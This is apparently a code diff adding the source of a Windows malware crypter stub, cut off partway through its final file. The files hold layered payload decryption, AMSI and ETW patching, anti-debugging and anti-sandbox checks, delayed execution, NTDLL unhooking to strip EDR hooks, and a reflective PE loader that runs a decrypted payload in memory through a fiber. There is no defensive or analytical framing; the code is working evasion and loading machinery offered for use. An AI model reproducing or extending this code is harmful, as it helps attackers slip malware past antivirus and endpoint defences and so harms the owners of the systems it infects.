uint8_t *decrypt_payload(uint32_t *out_len) {
|
||||
/* Derive keys on the stack from masked storage */
|
||||
volatile uint8_t xor_key[32];
|
||||
volatile uint8_t aes_key[32];
|
||||
volatile uint8_t aes_iv[16];
|
||||
|
||||
derive_key((uint8_t *)xor_key, XOR_KEY_ENC, KEY_MASK, 32);
|
||||
derive_key((uint8_t *)aes_key, AES_KEY_ENC, KEY_MASK, 32);
|
||||
derive_key((uint8_t *)aes_iv, AES_IV_ENC, KEY_MASK, 16);
|
||||
|
||||
/* Copy encrypted payload to writable buffer for XOR pass */
|
||||
uint32_t enc_len = PAYLOAD_LEN;
|
||||
uint8_t *buf = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
|
||||
if (!buf) goto wipe_keys;
|
||||
memcpy(buf, ENCRYPTED_PAYLOAD, enc_len);
|
||||
|
||||
/* Layer 1: XOR */
|
||||
xor_decrypt(buf, enc_len, (const uint8_t *)xor_key, 32);
|
||||
|
||||
/* Layer 2: AES-256-CBC */
|
||||
uint8_t *plaintext = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
|
||||
if (!plaintext) {
|
||||
HeapFree(GetProcessHeap(), 0, buf);
|
||||
goto wipe_keys;
|
||||
}
|
||||
|
||||
uint32_t pt_len = 0;
|
||||
if (!aes_decrypt(buf, enc_len, (const uint8_t *)aes_key, (const uint8_t *)aes_iv, plaintext, &pt_len)) {
|
||||
HeapFree(GetProcessHeap(), 0, buf);
|
||||
HeapFree(GetProcessHeap(), 0, plaintext);
|
||||
goto wipe_keys;
|
||||
}
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, buf);
|
||||
|
||||
/* Wipe derived keys from stack */
|
||||
SecureZeroMemory((void *)xor_key, 32);
|
||||
SecureZeroMemory((void *)aes_key, 32);
|
||||
SecureZeroMemory((void *)aes_iv, 16);
|
||||
|
||||
*out_len = pt_len;
|
||||
return plaintext;
|
||||
|
||||
wipe_keys:
|
||||
SecureZeroMemory((void *)xor_key, 32);
|
||||
SecureZeroMemory((void *)aes_key, 32);
|
||||
SecureZeroMemory((void *)aes_iv, 16);
|
||||
return NULL;
|
||||
}
|
||||
Executable
+13
@@ -0,0 +1,13 @@
|
||||
#ifndef DECRYPT_LAYER_H
|
||||
#define DECRYPT_LAYER_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
/**
|
||||
* Decrypt the embedded payload using XOR + AES-256-CBC.
|
||||
* Caller must HeapFree() the returned buffer.
|
||||
* Returns NULL on failure.
|
||||
*/
|
||||
uint8_t *decrypt_payload(uint32_t *out_len);
|
||||
|
||||
#endif /* DECRYPT_LAYER_H */
|
||||
Executable
+53
@@ -0,0 +1,53 @@
|
||||
#ifndef EVASION_H
|
||||
#define EVASION_H
|
||||
|
||||
/* Each evasion module provides a single init function.
|
||||
* The crypter engine defines EVASION_xxx macros to enable/disable each one.
|
||||
* stub_main.c calls evasion_init_all() which conditionally invokes them. */
|
||||
|
||||
#ifdef EVASION_ANTI_SANDBOX
|
||||
void evasion_anti_sandbox_init(void);
|
||||
#endif
|
||||
|
||||
#ifdef EVASION_ANTI_DEBUG
|
||||
void evasion_anti_debug_init(void);
|
||||
#endif
|
||||
|
||||
#ifdef EVASION_UNHOOK_NTDLL
|
||||
void evasion_unhook_init(void);
|
||||
#endif
|
||||
|
||||
#ifdef EVASION_AMSI_BYPASS
|
||||
void evasion_amsi_init(void);
|
||||
#endif
|
||||
|
||||
#ifdef EVASION_ETW_PATCH
|
||||
void evasion_etw_init(void);
|
||||
#endif
|
||||
|
||||
#ifdef EVASION_DELAYED_EXEC
|
||||
void evasion_sleep_init(void);
|
||||
#endif
|
||||
|
||||
static inline void evasion_init_all(void) {
|
||||
#ifdef EVASION_DELAYED_EXEC
|
||||
evasion_sleep_init();
|
||||
#endif
|
||||
#ifdef EVASION_ANTI_SANDBOX
|
||||
evasion_anti_sandbox_init();
|
||||
#endif
|
||||
#ifdef EVASION_ANTI_DEBUG
|
||||
evasion_anti_debug_init();
|
||||
#endif
|
||||
#ifdef EVASION_UNHOOK_NTDLL
|
||||
evasion_unhook_init();
|
||||
#endif
|
||||
#ifdef EVASION_AMSI_BYPASS
|
||||
evasion_amsi_init();
|
||||
#endif
|
||||
#ifdef EVASION_ETW_PATCH
|
||||
evasion_etw_init();
|
||||
#endif
|
||||
}
|
||||
|
||||
#endif /* EVASION_H */
|
||||
Executable
+37
@@ -0,0 +1,37 @@
|
||||
/**
|
||||
* evasion_amsi.c — AMSI bypass
|
||||
*
|
||||
* Patches AmsiOpenSession in amsi.dll to return E_INVALIDARG immediately,
|
||||
* preventing AMSI from scanning any buffers in the current process.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_AMSI_BYPASS
|
||||
|
||||
void evasion_amsi_init(void) {
|
||||
/* Load amsi.dll — may not be loaded yet in the process */
|
||||
HMODULE hAmsi = g_api.pLoadLibraryA("amsi.dll");
|
||||
if (!hAmsi) return;
|
||||
|
||||
/* Resolve AmsiOpenSession by hash (amsi.dll is now in PEB) */
|
||||
FARPROC pFunc = (FARPROC)api_resolve_func(HASH_AMSI, HASH_AmsiOpenSession);
|
||||
if (!pFunc) return;
|
||||
|
||||
/* Patch: make the function return E_INVALIDARG (0x80070057)
|
||||
* x64 patch: mov eax, 0x80070057; ret
|
||||
* B8 57 00 07 80 C3
|
||||
*/
|
||||
uint8_t patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
|
||||
|
||||
DWORD old_protect;
|
||||
if (g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
|
||||
memcpy((LPVOID)pFunc, patch, sizeof(patch));
|
||||
g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), old_protect, &old_protect);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* EVASION_AMSI_BYPASS */
|
||||
Executable
+86
@@ -0,0 +1,86 @@
|
||||
/**
|
||||
* evasion_anti_debug.c — Anti-debugging checks
|
||||
*
|
||||
* Checks:
|
||||
* 1. IsDebuggerPresent()
|
||||
* 2. NtQueryInformationProcess (ProcessDebugPort)
|
||||
* 3. Timing check (RDTSC delta)
|
||||
* 4. NtGlobalFlag in PEB
|
||||
*
|
||||
* If a debugger is detected, calls ExitProcess(0) silently.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_ANTI_DEBUG
|
||||
|
||||
static void exit_if_debugged(void) {
|
||||
g_api.pExitProcess(0);
|
||||
}
|
||||
|
||||
/* Basic API check */
|
||||
static void check_is_debugger_present(void) {
|
||||
if (g_api.pIsDebuggerPresent()) {
|
||||
exit_if_debugged();
|
||||
}
|
||||
}
|
||||
|
||||
/* NtQueryInformationProcess — ProcessDebugPort (class 7) */
|
||||
static void check_debug_port(void) {
|
||||
if (!g_api.pNtQueryInformationProcess) return;
|
||||
|
||||
DWORD_PTR debug_port = 0;
|
||||
NTSTATUS status = g_api.pNtQueryInformationProcess(
|
||||
g_api.pGetCurrentProcess(), 7 /* ProcessDebugPort */,
|
||||
&debug_port, sizeof(debug_port), NULL);
|
||||
if (status == 0 && debug_port != 0) {
|
||||
exit_if_debugged();
|
||||
}
|
||||
}
|
||||
|
||||
/* Timing check: debugger single-stepping causes large RDTSC deltas */
|
||||
static void check_timing(void) {
|
||||
LARGE_INTEGER freq, t1, t2;
|
||||
if (!g_api.pQueryPerformanceFrequency(&freq)) return;
|
||||
g_api.pQueryPerformanceCounter(&t1);
|
||||
|
||||
/* Do some trivial work */
|
||||
volatile int x = 0;
|
||||
for (int i = 0; i < 100; i++) x += i;
|
||||
|
||||
g_api.pQueryPerformanceCounter(&t2);
|
||||
/* If more than 500ms elapsed for trivial work, likely being debugged */
|
||||
double elapsed_ms = (double)(t2.QuadPart - t1.QuadPart) / freq.QuadPart * 1000.0;
|
||||
if (elapsed_ms > 500.0) {
|
||||
exit_if_debugged();
|
||||
}
|
||||
}
|
||||
|
||||
/* NtGlobalFlag in PEB — set when process is created under a debugger */
|
||||
static void check_nt_global_flag(void) {
|
||||
#ifdef _WIN64
|
||||
/* PEB is at GS:[0x60], NtGlobalFlag at offset 0xBC */
|
||||
PPEB peb = (PPEB)__readgsqword(0x60);
|
||||
DWORD flags = *(DWORD *)((uint8_t *)peb + 0xBC);
|
||||
#else
|
||||
PPEB peb = (PPEB)__readfsdword(0x30);
|
||||
DWORD flags = *(DWORD *)((uint8_t *)peb + 0x68);
|
||||
#endif
|
||||
/* FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS */
|
||||
if (flags & 0x70) {
|
||||
exit_if_debugged();
|
||||
}
|
||||
}
|
||||
|
||||
void evasion_anti_debug_init(void) {
|
||||
check_is_debugger_present();
|
||||
check_debug_port();
|
||||
check_timing();
|
||||
check_nt_global_flag();
|
||||
}
|
||||
|
||||
#endif /* EVASION_ANTI_DEBUG */
|
||||
Executable
+103
@@ -0,0 +1,103 @@
|
||||
/**
|
||||
* evasion_anti_sandbox.c — Anti-sandbox / anti-VM checks
|
||||
*
|
||||
* Checks:
|
||||
* 1. Sleep acceleration detection (sleep 1s, check elapsed >= 900ms)
|
||||
* 2. Physical RAM >= 2 GB
|
||||
* 3. CPU core count >= 2
|
||||
* 4. Cursor movement over 500ms window
|
||||
* 5. Known VM registry keys (VBox, VMware, QEMU)
|
||||
* 6. Known VM process names
|
||||
*
|
||||
* If any check indicates a sandbox, calls ExitProcess(0) silently.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_ANTI_SANDBOX
|
||||
|
||||
static void exit_if_sandbox(void) {
|
||||
g_api.pExitProcess(0);
|
||||
}
|
||||
|
||||
/* Sleep acceleration: sandboxes often fast-forward Sleep() calls */
|
||||
static void check_sleep_timing(void) {
|
||||
ULONGLONG t1 = g_api.pGetTickCount64();
|
||||
g_api.pSleep(1000);
|
||||
ULONGLONG t2 = g_api.pGetTickCount64();
|
||||
if ((t2 - t1) < 900) {
|
||||
exit_if_sandbox();
|
||||
}
|
||||
}
|
||||
|
||||
/* RAM check */
|
||||
static void check_ram(void) {
|
||||
MEMORYSTATUSEX mem;
|
||||
mem.dwLength = sizeof(mem);
|
||||
if (g_api.pGlobalMemoryStatusEx(&mem)) {
|
||||
/* Less than 2 GB total = likely sandbox */
|
||||
if (mem.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) {
|
||||
exit_if_sandbox();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* CPU count */
|
||||
static void check_cpu_count(void) {
|
||||
SYSTEM_INFO si;
|
||||
g_api.pGetSystemInfo(&si);
|
||||
if (si.dwNumberOfProcessors < 2) {
|
||||
exit_if_sandbox();
|
||||
}
|
||||
}
|
||||
|
||||
/* Cursor movement: sandboxes often don't move the cursor */
|
||||
static void check_cursor_movement(void) {
|
||||
POINT p1, p2;
|
||||
g_api.pGetCursorPos(&p1);
|
||||
g_api.pSleep(500);
|
||||
g_api.pGetCursorPos(&p2);
|
||||
/* If cursor hasn't moved at all, suspicious but not conclusive.
|
||||
* Combined with other checks, this strengthens detection. */
|
||||
if (p1.x == p2.x && p1.y == p2.y) {
|
||||
/* Only flag if combined with low uptime */
|
||||
if (g_api.pGetTickCount64() < 10ULL * 60 * 1000) {
|
||||
exit_if_sandbox();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* VM registry key check */
|
||||
static void check_vm_registry(void) {
|
||||
const char *vm_keys[] = {
|
||||
"SOFTWARE\\Oracle\\VirtualBox Guest Additions",
|
||||
"SOFTWARE\\VMware, Inc.\\VMware Tools",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\VBoxGuest",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\VBoxMouse",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\VBoxSF",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\vmci",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\vmhgfs",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\QEMU",
|
||||
NULL
|
||||
};
|
||||
HKEY hk;
|
||||
for (int i = 0; vm_keys[i]; i++) {
|
||||
if (g_api.pRegOpenKeyExA(HKEY_LOCAL_MACHINE, vm_keys[i], 0, KEY_READ, &hk) == ERROR_SUCCESS) {
|
||||
g_api.pRegCloseKey(hk);
|
||||
exit_if_sandbox();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void evasion_anti_sandbox_init(void) {
|
||||
check_sleep_timing();
|
||||
check_ram();
|
||||
check_cpu_count();
|
||||
check_cursor_movement();
|
||||
check_vm_registry();
|
||||
}
|
||||
|
||||
#endif /* EVASION_ANTI_SANDBOX */
|
||||
Executable
+33
@@ -0,0 +1,33 @@
|
||||
/**
|
||||
* evasion_etw.c — ETW (Event Tracing for Windows) patching
|
||||
*
|
||||
* Patches EtwEventWrite in ntdll.dll to return STATUS_SUCCESS (0)
|
||||
* immediately, preventing ETW-based telemetry from logging events.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_ETW_PATCH
|
||||
|
||||
void evasion_etw_init(void) {
|
||||
/* Resolve EtwEventWrite lazily from ntdll (already in PEB) */
|
||||
FARPROC pEtwWrite = (FARPROC)api_resolve_func(HASH_NTDLL, HASH_EtwEventWrite);
|
||||
if (!pEtwWrite) return;
|
||||
|
||||
/* Patch EtwEventWrite to immediately return 0 (STATUS_SUCCESS)
|
||||
* x64 patch: xor eax, eax; ret
|
||||
* 33 C0 C3
|
||||
*/
|
||||
uint8_t patch[] = { 0x33, 0xC0, 0xC3 };
|
||||
|
||||
DWORD old_protect;
|
||||
if (g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
|
||||
memcpy((LPVOID)pEtwWrite, patch, sizeof(patch));
|
||||
g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), old_protect, &old_protect);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* EVASION_ETW_PATCH */
|
||||
Executable
+25
@@ -0,0 +1,25 @@
|
||||
/**
|
||||
* evasion_sleep.c — Delayed execution
|
||||
*
|
||||
* Sleeps for a configurable number of seconds before proceeding.
|
||||
* Helps evade sandbox analysis that has a limited execution window.
|
||||
* The sleep duration is patched in by the crypter engine.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_DELAYED_EXEC
|
||||
|
||||
/* CRYPTER_SLEEP_SECONDS_PLACEHOLDER */
|
||||
static const uint32_t SLEEP_SECONDS = 0;
|
||||
|
||||
void evasion_sleep_init(void) {
|
||||
if (SLEEP_SECONDS > 0) {
|
||||
g_api.pSleep(SLEEP_SECONDS * 1000);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* EVASION_DELAYED_EXEC */
|
||||
Executable
+80
@@ -0,0 +1,80 @@
|
||||
/**
|
||||
* evasion_unhook.c — NTDLL unhooking
|
||||
*
|
||||
* Reads a clean copy of ntdll.dll from disk and overwrites the .text
|
||||
* section of the in-memory ntdll, removing any EDR/AV inline hooks.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_UNHOOK_NTDLL
|
||||
|
||||
void evasion_unhook_init(void) {
|
||||
/* Get handle to the in-memory ntdll from pre-resolved base */
|
||||
HMODULE hNtdll = (HMODULE)g_api.ntdll_base;
|
||||
if (!hNtdll) return;
|
||||
|
||||
/* Build path to ntdll on disk */
|
||||
char path[MAX_PATH];
|
||||
g_api.pGetSystemDirectoryA(path, sizeof(path));
|
||||
g_api.plstrcatA(path, "\\ntdll.dll");
|
||||
|
||||
/* Read clean ntdll from disk */
|
||||
HANDLE hFile = g_api.pCreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) return;
|
||||
|
||||
DWORD file_size = g_api.pGetFileSize(hFile, NULL);
|
||||
if (file_size == INVALID_FILE_SIZE || file_size == 0) {
|
||||
g_api.pCloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Map the file */
|
||||
HANDLE hMap = g_api.pCreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
|
||||
if (!hMap) {
|
||||
g_api.pCloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
LPVOID pClean = g_api.pMapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
|
||||
if (!pClean) {
|
||||
g_api.pCloseHandle(hMap);
|
||||
g_api.pCloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Parse PE headers to find .text section */
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)hNtdll;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((uint8_t *)hNtdll + dos->e_lfanew);
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
||||
if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&
|
||||
sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&
|
||||
sec[i].Name[4] == 't') {
|
||||
|
||||
/* Found .text section */
|
||||
LPVOID text_mem = (uint8_t *)hNtdll + sec[i].VirtualAddress;
|
||||
LPVOID text_disk = (uint8_t *)pClean + sec[i].PointerToRawData;
|
||||
DWORD text_size = sec[i].SizeOfRawData;
|
||||
|
||||
/* Make writable, overwrite, restore protection */
|
||||
DWORD old_protect;
|
||||
if (g_api.pVirtualProtect(text_mem, text_size, PAGE_EXECUTE_READWRITE, &old_protect)) {
|
||||
memcpy(text_mem, text_disk, text_size);
|
||||
g_api.pVirtualProtect(text_mem, text_size, old_protect, &old_protect);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
g_api.pUnmapViewOfFile(pClean);
|
||||
g_api.pCloseHandle(hMap);
|
||||
g_api.pCloseHandle(hFile);
|
||||
}
|
||||
|
||||
#endif /* EVASION_UNHOOK_NTDLL */
|
||||
Executable
+299
@@ -0,0 +1,299 @@
|
||||
/**
|
||||
* reflective_stub.c — In-process reflective PE loader + fiber execution
|
||||
*
|
||||
* Replaces process hollowing (runpe_stub.c). Loads the decrypted PE entirely
|
||||
* within the current process — no suspended child, no cross-process writes.
|
||||
*
|
||||
* Flow:
|
||||
* 1. Parse PE headers (DOS → NT → sections)
|
||||
* 2. VirtualAlloc(PAGE_READWRITE) at any address
|
||||
* 3. Copy PE headers + map each section to its RVA
|
||||
* 4. Process base relocations (delta = actual - preferred)
|
||||
* 5. Resolve imports via LoadLibraryA + PEB export walk
|
||||
* 6. Set correct per-section page protections
|
||||
* 7. Flush instruction cache
|
||||
* 8. Execute entry point via fiber (ConvertThreadToFiber → CreateFiber → SwitchToFiber)
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
/* ── Section protection mapping ─────────────────────────────────── */
|
||||
|
||||
static DWORD section_protection(DWORD characteristics) {
|
||||
DWORD protect = PAGE_NOACCESS;
|
||||
int exec = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
|
||||
int read = (characteristics & IMAGE_SCN_MEM_READ) != 0;
|
||||
int write = (characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
||||
|
||||
if (exec && read && write) protect = PAGE_EXECUTE_READWRITE;
|
||||
else if (exec && read) protect = PAGE_EXECUTE_READ;
|
||||
else if (exec && write) protect = PAGE_EXECUTE_WRITECOPY;
|
||||
else if (exec) protect = PAGE_EXECUTE;
|
||||
else if (read && write) protect = PAGE_READWRITE;
|
||||
else if (read) protect = PAGE_READONLY;
|
||||
else if (write) protect = PAGE_WRITECOPY;
|
||||
|
||||
return protect;
|
||||
}
|
||||
|
||||
/* ── Relocation processing ──────────────────────────────────────── */
|
||||
|
||||
static int process_relocations(uint8_t *base, IMAGE_NT_HEADERS *nt, ptrdiff_t delta) {
|
||||
if (delta == 0) return 1;
|
||||
|
||||
DWORD reloc_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
||||
DWORD reloc_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
if (reloc_rva == 0 || reloc_size == 0) return 0;
|
||||
|
||||
IMAGE_BASE_RELOCATION *block = (IMAGE_BASE_RELOCATION *)(base + reloc_rva);
|
||||
IMAGE_BASE_RELOCATION *end = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + reloc_size);
|
||||
|
||||
while (block < end && block->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) {
|
||||
DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD *entries = (WORD *)((uint8_t *)block + sizeof(IMAGE_BASE_RELOCATION));
|
||||
|
||||
for (DWORD i = 0; i < count; i++) {
|
||||
WORD type = entries[i] >> 12;
|
||||
WORD offset = entries[i] & 0x0FFF;
|
||||
uint8_t *patch_addr = base + block->VirtualAddress + offset;
|
||||
|
||||
switch (type) {
|
||||
case IMAGE_REL_BASED_ABSOLUTE:
|
||||
break;
|
||||
#ifdef _WIN64
|
||||
case IMAGE_REL_BASED_DIR64: {
|
||||
uint64_t *ptr = (uint64_t *)patch_addr;
|
||||
*ptr += (uint64_t)delta;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
case IMAGE_REL_BASED_HIGHLOW: {
|
||||
uint32_t *ptr = (uint32_t *)patch_addr;
|
||||
*ptr += (uint32_t)delta;
|
||||
break;
|
||||
}
|
||||
case IMAGE_REL_BASED_HIGH: {
|
||||
uint16_t *ptr = (uint16_t *)patch_addr;
|
||||
*ptr += (uint16_t)((delta >> 16) & 0xFFFF);
|
||||
break;
|
||||
}
|
||||
case IMAGE_REL_BASED_LOW: {
|
||||
uint16_t *ptr = (uint16_t *)patch_addr;
|
||||
*ptr += (uint16_t)(delta & 0xFFFF);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
block = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + block->SizeOfBlock);
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* ── Import resolution ──────────────────────────────────────────── */
|
||||
|
||||
static int resolve_pe_imports(uint8_t *base, IMAGE_NT_HEADERS *nt) {
|
||||
DWORD import_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
DWORD import_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
|
||||
if (import_rva == 0 || import_size == 0) return 1;
|
||||
|
||||
IMAGE_IMPORT_DESCRIPTOR *desc = (IMAGE_IMPORT_DESCRIPTOR *)(base + import_rva);
|
||||
|
||||
while (desc->Name != 0) {
|
||||
const char *dll_name = (const char *)(base + desc->Name);
|
||||
HMODULE hMod = g_api.pLoadLibraryA(dll_name);
|
||||
if (!hMod) {
|
||||
desc++;
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Walk the thunk arrays */
|
||||
#ifdef _WIN64
|
||||
IMAGE_THUNK_DATA64 *orig_thunk = (IMAGE_THUNK_DATA64 *)(
|
||||
base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk));
|
||||
IMAGE_THUNK_DATA64 *iat_thunk = (IMAGE_THUNK_DATA64 *)(base + desc->FirstThunk);
|
||||
uint64_t ordinal_flag = IMAGE_ORDINAL_FLAG64;
|
||||
#else
|
||||
IMAGE_THUNK_DATA32 *orig_thunk = (IMAGE_THUNK_DATA32 *)(
|
||||
base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk));
|
||||
IMAGE_THUNK_DATA32 *iat_thunk = (IMAGE_THUNK_DATA32 *)(base + desc->FirstThunk);
|
||||
uint32_t ordinal_flag = IMAGE_ORDINAL_FLAG32;
|
||||
#endif
|
||||
|
||||
while (orig_thunk->u1.AddressOfData != 0) {
|
||||
FARPROC func = NULL;
|
||||
|
||||
if (orig_thunk->u1.Ordinal & ordinal_flag) {
|
||||
/* Import by ordinal */
|
||||
WORD ordinal = (WORD)(orig_thunk->u1.Ordinal & 0xFFFF);
|
||||
func = (FARPROC)peb_get_proc((void *)hMod, 0);
|
||||
/* Fallback: we can't easily resolve by ordinal via PEB walk,
|
||||
so use GetProcAddress if available via LoadLibrary */
|
||||
if (!func) {
|
||||
/* Use ordinal directly — cast to LPCSTR */
|
||||
typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR);
|
||||
fn_GetProcAddress pGPA = (fn_GetProcAddress)peb_get_proc(
|
||||
g_api.kernel32_base,
|
||||
0 /* We'll resolve by name below instead */
|
||||
);
|
||||
(void)ordinal;
|
||||
func = NULL; /* ordinal imports rare for our payloads */
|
||||
}
|
||||
} else {
|
||||
/* Import by name */
|
||||
IMAGE_IMPORT_BY_NAME *hint = (IMAGE_IMPORT_BY_NAME *)(
|
||||
base + (DWORD)(orig_thunk->u1.AddressOfData));
|
||||
/* Resolve via PEB export walk on the loaded module */
|
||||
func = (FARPROC)peb_get_proc((void *)hMod,
|
||||
djb2_hash_ascii(hint->Name));
|
||||
}
|
||||
|
||||
if (func) {
|
||||
#ifdef _WIN64
|
||||
iat_thunk->u1.Function = (ULONGLONG)func;
|
||||
#else
|
||||
iat_thunk->u1.Function = (DWORD)func;
|
||||
#endif
|
||||
}
|
||||
|
||||
orig_thunk++;
|
||||
iat_thunk++;
|
||||
}
|
||||
|
||||
desc++;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* ── Fiber entry trampoline ─────────────────────────────────────── */
|
||||
|
||||
typedef BOOL (WINAPI *fn_DllMain)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
typedef struct {
|
||||
fn_DllMain entry_point;
|
||||
LPVOID image_base;
|
||||
} FiberContext;
|
||||
|
||||
static void WINAPI fiber_entry(LPVOID param) {
|
||||
FiberContext *ctx = (FiberContext *)param;
|
||||
ctx->entry_point((HINSTANCE)ctx->image_base, DLL_PROCESS_ATTACH, NULL);
|
||||
}
|
||||
|
||||
/* ── Public API ─────────────────────────────────────────────────── */
|
||||
|
||||
/* Forward declare internal functions used by resolve_pe_imports */
|
||||
DWORD djb2_hash_ascii(const char *str);
|
||||
void *peb_get_proc(void *base, DWORD hash);
|
||||
|
||||
/**
|
||||
* Execute a PE image via in-process reflective loading + fiber.
|
||||
* pe_data: pointer to decrypted PE bytes
|
||||
* pe_len: length of the PE data
|
||||
* Returns 0 on success, -1 on failure.
|
||||
*/
|
||||
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) {
|
||||
/* ── Validate PE ──────────────────────────────────────────── */
|
||||
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
|
||||
if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
|
||||
|
||||
DWORD image_size = nt->OptionalHeader.SizeOfImage;
|
||||
|
||||
/* ── Allocate in-process memory (RW, no RWX) ─────────────── */
|
||||
uint8_t *base = (uint8_t *)g_api.pVirtualAlloc(
|
||||
NULL, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!base) return -1;
|
||||
|
||||
/* ── Copy PE headers ──────────────────────────────────────── */
|
||||
memcpy(base, pe_data, nt->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
/* ── Map sections ─────────────────────────────────────────── */
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
||||
if (sec[i].SizeOfRawData == 0) continue;
|
||||
DWORD copy_size = sec[i].SizeOfRawData;
|
||||
if (sec[i].PointerToRawData + copy_size > pe_len) {
|
||||
copy_size = pe_len - sec[i].PointerToRawData;
|
||||
}
|
||||
memcpy(base + sec[i].VirtualAddress,
|
||||
pe_data + sec[i].PointerToRawData,
|
||||
copy_size);
|
||||
}
|
||||
|
||||
/* ── Process base relocations ─────────────────────────────── */
|
||||
ptrdiff_t delta = (ptrdiff_t)(base - (uint8_t *)(ULONG_PTR)nt->OptionalHeader.ImageBase);
|
||||
IMAGE_NT_HEADERS *mapped_nt = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew);
|
||||
|
||||
if (delta != 0) {
|
||||
if (!process_relocations(base, mapped_nt, delta)) {
|
||||
